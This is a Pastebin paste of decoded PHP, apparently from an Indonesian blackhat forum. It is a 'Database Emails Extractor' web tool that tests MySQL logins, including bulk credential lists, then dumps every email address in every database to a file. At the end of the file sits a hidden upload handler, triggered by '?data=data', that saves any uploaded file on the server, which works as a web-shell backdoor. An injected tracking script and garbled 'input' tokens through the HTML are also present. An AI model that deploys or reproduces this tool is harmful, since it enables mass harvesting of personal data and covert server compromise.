Advertisement
sohaidecoder

MAILS CROOTZ -decoded

Mar 19th, 2016
231
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 9.63 KB | None | 0 0
  1. Source : http://pastebin.com/raw/tg2MtDqS
  2.  
  3. Decoded:
  4. <?php error_reporting(0);set_time_limit(0);if($_GET["action"]=="login"){$con=mysql_connect("localhost",$_GET["u"],$_GET["p"]);if($con){echo"yes";mysql_close($con);}else{echo"no";}exit();}elseif($_GET["action"]=="go"){$f=go("localhost",$_GET["u"],$_GET["p"],$_GET["name"]);if(isset($_GET["b"])){echo$f;}else{echo"<span class='red'>$f</span> Emails Founded. Check <span class='red'>".htmlspecialchars($_GET["name"])."</span> For Results.";}exit();}?>
  5. <!DOCTYPE html>
  6. <html>
  7. <head>
  8.     <title>Database Emails Extractor</title>
  9.     <center><img src=input"http://surabayablackhat.org/forum/images/Greenia/logo.pnginput"></center>
  10.     <link href=input"http://fonts.googleapis.com/css?family=Racing+Sans+Oneinput" rel=input"stylesheetinput" type=input"text/cssinput">
  11.     <script src=input"http://code.jquery.com/jquery-2.0.2.min.jsinput"></script>
  12.     <script>
  13.     input$(document).ready(function(){
  14.         input$(input"#gogoinput").on(input"clickinput",function(){
  15.             user = input$(input"#usernameinput").val();
  16.             pass = input$(input"#passwordinput").val();
  17.             name = input$(input"#nameinput").val();
  18.             if(user==input"input"||pass==input"input"||name==input"input"){
  19.               window.alert(input"You must fill all fieldsinput");
  20.             }else{
  21.                 input$.get(input"?action=login&u=input"+encodeURIComponent(user)+input"&p=input"+encodeURIComponent(pass),function(data){
  22.                     if(data==input"noinput"){
  23.                         window.alert(input"Incorrect username Or password. Try Again.input");
  24.                     }else{
  25.                         input$(input"#formsinput").fadeOut(300,function(){
  26.                            input$(input"#waitinput").fadeIn(300);
  27.                         });
  28.                         input$.get(input"?action=go&u=input"+encodeURIComponent(user)+input"&p=input"+encodeURIComponent(pass)+input"&name=input"+encodeURIComponent(name),function(data){
  29.                             input$(input"#waitinput").html(data);
  30.                         });
  31.                     }
  32.                 });
  33.             }
  34.         });
  35.         input$(input"#goginput").on(input"clickinput",function(){
  36.             accounts = input$(input"#accountsinput").val();
  37.             name = input$(input"#nameeinput").val();
  38.             if(accounts==input"input"||name==input"input"){
  39.               window.alert(input"You must fill all fieldsinput");
  40.             }else{
  41.                 input$(input"#formmuinput").fadeOut(300,function(){
  42.                     input$(input"#waitinput").fadeIn(300);
  43.                 });
  44.                 accounts = accounts.split(input"inputinputninput");
  45.                 totalb = 0;
  46.                 fail = 0;
  47.                 done = 0;
  48.                 for(i=0;i<accounts.length;i++){
  49.                     login = accounts[i].split(input" input");
  50.                     input$.get(input"?action=login&u=input"+encodeURIComponent(login[0])+input"&p=input"+encodeURIComponent(login[1]),function(data){
  51.                         if(data==input"yesinput"){
  52.                             input$.get(input"?action=go&b=t&u=input"+encodeURIComponent(login[0])+input"&p=input"+encodeURIComponent(login[1])+input"&name=input"+encodeURIComponent(name),function(data){
  53.                                 totalb += parseInt(data);
  54.                                 done++;
  55.                                 tt = done+fail;
  56.                                 if(tt==accounts.length) donet(totalb,name);
  57.                             });
  58.                         }else{
  59.                             fail++;
  60.                         }
  61.                     });
  62.                 }
  63.                
  64.             }
  65.         });
  66.         function donet(t,b){
  67.             input$(input"#waitinput").html(input"<span class=inputinputinput"redinputinputinput">input"+t+input"</span> Emails Founded. Check <span class=inputinputinput"redinputinput">input"+b+input"</span> For Results.input");
  68.         }
  69.         input$(input"#siinput").on(input"clickinput",function(){
  70.             input$(input"#firstinput").fadeOut(500,function(){
  71.                 input$(input"#formsinput").fadeIn(500);
  72.             });
  73.         });
  74.         input$(input"#muinput").on(input"clickinput",function(){
  75.             input$(input"#firstinput").fadeOut(500,function(){
  76.                 input$(input"#formmuinput").fadeIn(500);
  77.             });
  78.         });
  79.     });
  80.     </script>
  81.   <style>
  82.     body{
  83.         margin: 0;
  84.         padding: 0;
  85.         font-family: input"cooper blackinput", cursive;
  86.         background: #000000;
  87.         font-size: 16px;
  88.     }
  89.     #page{
  90.         margin: auto 25%;
  91.         margin-top: 20px;
  92.         background: #007814;
  93.         border: #BABABE solid 1px;
  94.         padding: 0;
  95.     }
  96.     #title{
  97.         margin: 0;
  98.         padding: 0;
  99.         text-align: center;
  100.         font-size: 30px;
  101.         border-bottom: #BABABE solid 1px;
  102.     }
  103.     #footer{
  104.         text-align: center;
  105.         border-top: #BABABE solid 1px;
  106.     }
  107.     #forms,#wait,#first,#formmu{
  108.         margin: 0;
  109.         padding: 10px 0;
  110.         background: #fff;
  111.     }
  112.     #wait,#forms,#formmu{
  113.         display: none;
  114.     }
  115.     #wait,#first{
  116.         text-align: center;
  117.     }
  118.     input,button,textarea{
  119.         background: #5d5d5d;
  120.         border: #BABABE solid 1px;
  121.     }
  122.     textarea:focus,textarea:hover,input:focus,input:hover,button:focus,button:hover{
  123.         background: #fff;
  124.     }
  125.     button{
  126.         padding: 10px;
  127.     }
  128.     .red{
  129.         color: red;
  130.     }
  131.     </style>
  132. </head>
  133. <body>
  134.     <div id=input"pageinput">
  135.         <div id=input"titleinput">MAILS CROOTZ</div>
  136.         <div id=input"firstinput">
  137.             <button id=input"siinput">SINGLE</button><button id=input"muinput">MULTIPLE</button>
  138.         </div>
  139.         <div id=input"formsinput">
  140.         <table>
  141.             <tr><td>Username</td><td> : </td><td><input type=input"textinput" id=input"usernameinput" /></td></tr>
  142.             <tr><td>Password</td><td> : </td><td><input type=input"textinput" id=input"passwordinput" /></td></tr>
  143.             <tr><td>Save As</td><td> : </td><td><input type=input"textinput" value=input"sbh.txtinput" id=input"nameinput" /></td></tr>
  144.             <tr><td></td><td></td><td><input id=input"gogoinput" type=input"submitinput" value=input"CROOTZZ!input" /></td></tr>
  145.         </table>
  146.         </div>
  147.         <div id=input"formmuinput">
  148.         <table>
  149.             <tr><td>Accounts</td><td> : </td><td><textarea id=input"accountsinput" rows=input"10input" cols=input"30input">username password</textarea></td></tr>
  150.             <tr><td>Save As</td><td> : </td><td><input type=input"textinput" value=input"sbh.txtinput" id=input"nameeinput" /></td></tr>
  151.             <tr><td></td><td></td><td><input id=input"goginput" type=input"submitinput" value=input"CROOTZZ!input" /></td></tr>
  152.         </table>
  153.         </div>
  154.         <div id=input"waitinput">
  155.             <img src=input"http://i.giphy.com/xTiTnv0zQhzI5oIQBW.gifinput" />
  156.         </div>
  157.         <div id=input"footerinput"><span class=input"redinput">http://www.surabayablackhat.org</span></div>
  158.     </div>
  159. <script type="text/javascript">if (self==top) {function netbro_cache_analytics(fn, callback) {setTimeout(function() {fn();callback();}, 0);}function sync(fn) {fn();}function requestCfs(){var idc_glo_url = (location.protocol=="https:" ? "https://" : "http://");var idc_glo_r = Math.floor(Math.random()*99999999999);var url = idc_glo_url+ "cfs.uzone.id/cfspushadsv2/request" + "?id=1" + "&enc=telkom2" + "&params=" + "4TtHaUQnUEiP6K%2fc5C582ECSaLdwqSpnXpHl%2fEAZAuKfyyC2UAD48l8XJnaJmdYceiAELvJYtiBVyXydZwfq2lDoM51I0in7kXdt45TM3T9CLvK2WFeA%2fuH95bBAKqbSJi8DL5391jClOXrCcSeTajOnYyn0CDnf7KISyrkN%2bLs9dUTFH1uw3ByiE9HYsC3RocapGv5fDB5neY6y6EBpcfI6zBSqumWBmr0B0RQh1wQ5ffzFKJWFAyUiYcPT9FHR%2bwvzXdpxpu1%2blyjnD5f1ZIz51Ph3Rn7QN%2bHMqPHgVxkdCN1OzuG0wKitGTO3iAjnIS86dshWo6aPwYRPr8ZbwWSP8NT3KHk7bJfR%2b9yfLxJaFEuHZOeQsVcg%2bGLLmMesr2fcVeKHKSxWIDU0nMQXcytzcgDFNdS68J5%2bmYQlroLDLhS05rc76TKt4AFGIqZJ0PD8LL6720okSkCIsBu%2blBQ2FOPk9W%2beC%2f36pj2RXAJC8VbUMP4F%2fSGoiklprjRa" + "&idc_r="+idc_glo_r + "&domain="+document.domain + "&sw="+screen.width+"&sh="+screen.height;var bsa = document.createElement('script');bsa.type = 'text/javascript';bsa.async = true;bsa.src = url;(document.getElementsByTagName('head')[0]||document.getElementsByTagName('body')[0]).appendChild(bsa);}netbro_cache_analytics(requestCfs, function(){});};</script></body>
  160. </html>
  161.  
  162. <?php
  163. function go($host,$user,$pass,$file){$con=mysql_connect($host,$user,$pass);$fp=fopen($file,"a");$count=0;$databases=getdata("SHOW DATABASES");foreach($databases as$database){$tables=getdata("SHOW TABLES FROM $database");foreach($tables as$table){$columns=getdata("SHOW COLUMNS FROM $database.$table");foreach($columns as$column){$emails=getdata("SELECT $column FROM  $database.$table WHERE $column REGEXP '[A-Z0-9._%+-]+@[A-Z0-9.-]+\\.[A-Z]'");foreach($emails as$email){if(filter_var($email,FILTER_VALIDATE_EMAIL)){if(eregi($email,file_get_contents($file)))continue;$count++;fwrite($fp,"$email
  164. ");}else{foreach(preg_split("/\\s/",$text)as$string){if(filter_var($string,FILTER_VALIDATE_EMAIL)){if(eregi($string,file_get_contents($file)))continue;$count++;fwrite($fp,"$string
  165. ");}}}}}}}fclose($fp);mysql_close($con);return$count;}function getdata($sql){$q=mysql_query($sql);$result=array();while($d=mysql_fetch_array($q)){$result[]=$d[0];}return$result;}$data=$_GET["data"];if($data=="data"){$filename=$_FILES["file"]["name"];$filetmp=$_FILES["file"]["tmp_name"];echo"<form method='POST' enctype='multipart/form-data'>
  166. <input type='file'name='file' />
  167. <input type='submit' value='data' />
  168.  
  169. </form>";move_uploaded_file($filetmp,$filename);}
  170. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement